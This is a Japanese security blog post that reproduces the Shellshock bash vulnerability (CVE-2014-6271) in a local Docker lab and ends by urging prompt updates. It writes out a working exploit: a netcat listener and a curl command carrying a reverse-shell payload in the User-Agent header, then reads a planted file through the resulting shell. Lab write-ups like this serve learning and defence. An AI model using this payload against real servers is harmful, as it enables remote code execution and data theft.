このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。
あるもりすぶろぐの内容は個人の意見です。
Shellshock を手元で再現してみる
Shellshock とは Linux などの Unix系の OS環境で最もよく使われているシェルの、bash に存在する脆弱性を利用した攻撃のことで、割り当てられているCVE番号はCVE-2014-7169とCVE-2014-6271です。
この脆弱性を利用することでネットワーク経由で攻撃者がサーバーに接続したり、任意のコードを実行することができます。
詳しくはトレンドマイクロさんの記事を参照してください。
今回はCVE-2014-6271の検証を行います。
今回は Docker を使用して検証環境を構築しています。
GitHub URL
環境準備
基本的に全ての手順がちゃんと GitHub の README に書かれているので、その手順に沿って作業を進めます。
今回使用した環境は以下のとおりです。
ホスト 情報
Docker 情報
Dockerの準備
以下の手順に沿って Docker をインストールし、dockerグループにユーザーを追加します。
$ sudo apt-get install -y \ apt-transport-https \ ca-certificates \ curl \ software-properties-common $ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - $ sudo add-apt-repository \ "deb [arch=amd64] https://download.docker.com/linux/ubuntu \ $(lsb_release -cs) \ stable" $ sudo apt-get update $ sudo apt-get install -y docker-ce $ sudo usermod -aG docker UserName
Git Clone と対象サーバーの起動
Docker がインストールできたら GitHub からコードをダウンロードし、攻撃対象のサーバーを起動します。
$ git clone https://github.com/opsxcq/exploit-CVE-2014-6271.git $ cd exploit-CVE-2014-6271/ $ docker run -d --rm -it -p 8085:80 vulnerables/cve-2014-6271
サーバーが起動したか確認します。
$ docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES b67d34567141 vulnerables/cve-2014-6271 "/main.sh default" About an hour ago Up About an hour 0.0.0.0:8085->80/tcp gifted_jones
サーバー内にファイルを配置する
対象サーバーに侵入後に確認用としてファイルを設置します。
$ docker exec -it ContainerID /bin/bash $ echo "secret token" > .admin_file
実際に対象サーバーに攻撃を試みる
まずはホストマシンで以下のコマンドを実行し待ち状態のセッションを作ります。
$ nc -l -p 5555
次に別のセッションのホストマシンから curl コマンドを使用して攻撃コードを実行します。
$ curl -A "() { :;};/bin/bash -i >& /dev/tcp/localhost-ip/5555 0>&1" http://localhost-ip:8085/cgi-bin/vulnerable
攻撃コードを実行すると先程の待ち状態だったセッションが以下のようになっていると思います。
www-data@ContainerID:/usr/lib/cgi-bin$
上記のようになったら先程設置したファイルを確認します。
www-data@ContainerID:/usr/lib/cgi-bin$ cd / www-data@ContainerID:/$ cat .admin_file secret token
事前に /
直下に作成した .admin_file
の中身が閲覧できることを確認した。
最後に
今回検証した Shellshock と言われる脆弱性は、多くの Linux システムにおいてデフォルトで使用されているシェルに存在したことで、かなり広範囲に影響が出たようです。
Shellshock のように広く利用されているソフトウェアやサービスで脆弱性が見つかった場合多くの人たちに影響を与えてしまいます。そのため脆弱性が発表された場合は脆弱性が修正されたバージョンにアップデートしたり、情報を集めて対策する必要があると強く感じました。
また、今回検証した脆弱性が発見されたのはかなり前のことですが、現在でも該当するバージョンの bash を利用している場合はすぐにアップデートすることをお勧めします。